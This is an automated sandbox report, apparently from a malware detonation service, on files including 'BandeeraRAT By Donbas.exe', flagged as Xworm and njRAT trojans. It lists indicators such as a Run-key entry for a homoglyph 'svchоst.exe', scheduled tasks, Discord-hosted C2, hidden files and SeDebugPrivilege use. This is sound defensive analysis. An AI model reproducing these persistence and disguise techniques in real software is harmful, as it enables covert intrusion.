cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DEC.pdb

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000_Classes\Local Settings C:\Windows\system32\cmd.exe N/A
Key created \REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000_Classes\Local Settings C:\Windows\system32\OpenWith.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\system32\OpenWith.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\DEC.pdb

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 0.181.190.20.in-addr.arpa udp
US 8.8.8.8:53 173.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 149.220.183.52.in-addr.arpa udp
US 8.8.8.8:53 43.58.199.20.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 241.154.82.20.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 241.150.49.20.in-addr.arpa udp
US 8.8.8.8:53 26.165.165.52.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 194.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 43.229.111.52.in-addr.arpa udp
US 8.8.8.8:53 4.173.189.20.in-addr.arpa udp

Files

N/A

Analysis: behavioral30

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:46

Platform

win10v2004-20240226-en

Max time kernel

150s

Max time network

160s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\ENC.pdb

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000_Classes\Local Settings C:\Windows\system32\cmd.exe N/A
Key created \REGISTRY\USER\S-1-5-21-399997616-3400990511-967324271-1000_Classes\Local Settings C:\Windows\system32\OpenWith.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Windows\system32\OpenWith.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\ENC.pdb

C:\Windows\system32\OpenWith.exe

C:\Windows\system32\OpenWith.exe -Embedding

Network

Country Destination Domain Proto
US 8.8.8.8:53 1.181.190.20.in-addr.arpa udp
US 8.8.8.8:53 228.249.119.40.in-addr.arpa udp
US 8.8.8.8:53 9.228.82.20.in-addr.arpa udp
US 8.8.8.8:53 173.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 41.110.16.96.in-addr.arpa udp
US 8.8.8.8:53 171.39.242.20.in-addr.arpa udp
US 8.8.8.8:53 58.55.71.13.in-addr.arpa udp
US 8.8.8.8:53 18.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 119.110.54.20.in-addr.arpa udp
US 8.8.8.8:53 217.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 174.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 211.135.221.88.in-addr.arpa udp
US 8.8.8.8:53 194.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 21.236.111.52.in-addr.arpa udp
US 8.8.8.8:53 199.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 tse1.mm.bing.net udp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 204.79.197.200:443 tse1.mm.bing.net tcp
US 8.8.8.8:53 176.178.17.96.in-addr.arpa udp
US 8.8.8.8:53 50.134.221.88.in-addr.arpa udp
US 8.8.8.8:53 195.178.17.96.in-addr.arpa udp

Files

N/A

Analysis: behavioral31

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:46

Platform

win7-20240221-en

Max time kernel

118s

Max time network

125s

Command Line

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\FM.pdb

Signatures

Enumerates physical storage devices

Modifies registry class

Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\pdb_auto_file\ C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\.pdb C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\pdb_auto_file\shell C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_Classes\Local Settings C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\pdb_auto_file C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\.pdb\ = "pdb_auto_file" C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\pdb_auto_file\shell\Read C:\Windows\system32\rundll32.exe N/A
Key created \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\pdb_auto_file\shell\Read\command C:\Windows\system32\rundll32.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000_CLASSES\pdb_auto_file\shell\Read\command\ = "\"C:\\Program Files (x86)\\Adobe\\Reader 9.0\\Reader\\AcroRd32.exe\" \"%1\"" C:\Windows\system32\rundll32.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A
N/A N/A C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe N/A

Processes

C:\Windows\system32\cmd.exe

cmd /c C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\FM.pdb

C:\Windows\system32\rundll32.exe

"C:\Windows\system32\rundll32.exe" C:\Windows\system32\shell32.dll,OpenAs_RunDLL C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\FM.pdb

C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe

"C:\Program Files (x86)\Adobe\Reader 9.0\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Local\Temp\Dеbug\Misc\Plugins\FM.pdb"

Network

N/A

Files

C:\Users\Admin\AppData\Roaming\Adobe\Acrobat\9.0\SharedDataEvents

MD5 d98302ad8f50ffe1ac5fa9dcf01e0fbe
SHA1 d40c5552a2da63844d4b4ca257cae3d673428cc5
SHA256 3acd212008daf19652115b50e8959c774424d8e587b1fe93ff117c12ec7cabd5
SHA512 63d5dc29232cd73eedf88e5b1645fc6dbbe03a06985f3f8dcf3a848945473bcc953b1b4a4547c90480c0c637b6d909dafa62bcb848838a9cb42735b6a100bc14

Analysis: behavioral4

Detonation Overview

Submitted

2024-03-05 12:43

Reported

2024-03-05 12:47

Platform

win10v2004-20240226-en

Max time kernel

128s

Max time network

201s

Command Line

"C:\Users\Admin\AppData\Local\Temp\Dеbug\BandeeraRAT By Donbas.exe"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Xworm

trojan rat xworm

njRAT/Bladabindi

trojan njrat

Sets file to hidden

evasion
Description Indicator Process Target
N/A N/A C:\Windows\System32\attrib.exe N/A
N/A N/A C:\Windows\System32\attrib.exe N/A
N/A N/A C:\Windows\System32\attrib.exe N/A
N/A N/A C:\Windows\System32\attrib.exe N/A

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Dеbug\BandeeraRAT By Donbas.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\ProgramData\XClient.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\sisk.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Fluxus_V8.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\Fluxsus_V8.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sisk.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\ProgramData\XClient.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\ProgramData\Cheat.exe N/A
N/A N/A C:\ProgramData\Built.exe N/A
N/A N/A C:\ProgramData\Built.exe N/A
N/A N/A C:\ProgramData\Fluxus V7.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\ProgramData\svchоst.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\svchost\$77svchost.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\BanderaRAT.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A

UPX packed file

upx
Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A
N/A N/A N/A N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchоst = "C:\\ProgramData\\svchоst.exe" C:\ProgramData\XClient.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A discord.com N/A N/A
N/A discord.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\System32\schtasks.exe N/A
N/A N/A C:\Windows\SYSTEM32\schtasks.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\system32\timeout.exe N/A

Enumerates processes with tasklist

Description Indicator Process Target
N/A N/A C:\Windows\system32\tasklist.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\sisk.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\ProgramData\XClient.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\sisk.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\ssbobr2.0.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\ProgramData\XClient.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRestorePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemEnvironmentPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeRemoteShutdownPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeUndockPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeManageVolumePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 33 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 34 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 35 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: 36 N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\system32\tasklist.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeIncreaseQuotaPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeTakeOwnershipPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeLoadDriverPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemProfilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeSystemtimePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeProfSingleProcessPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
Token: SeBackupPrivilege N/A C:\Windows\System32\Wbem\WMIC.exe N/A
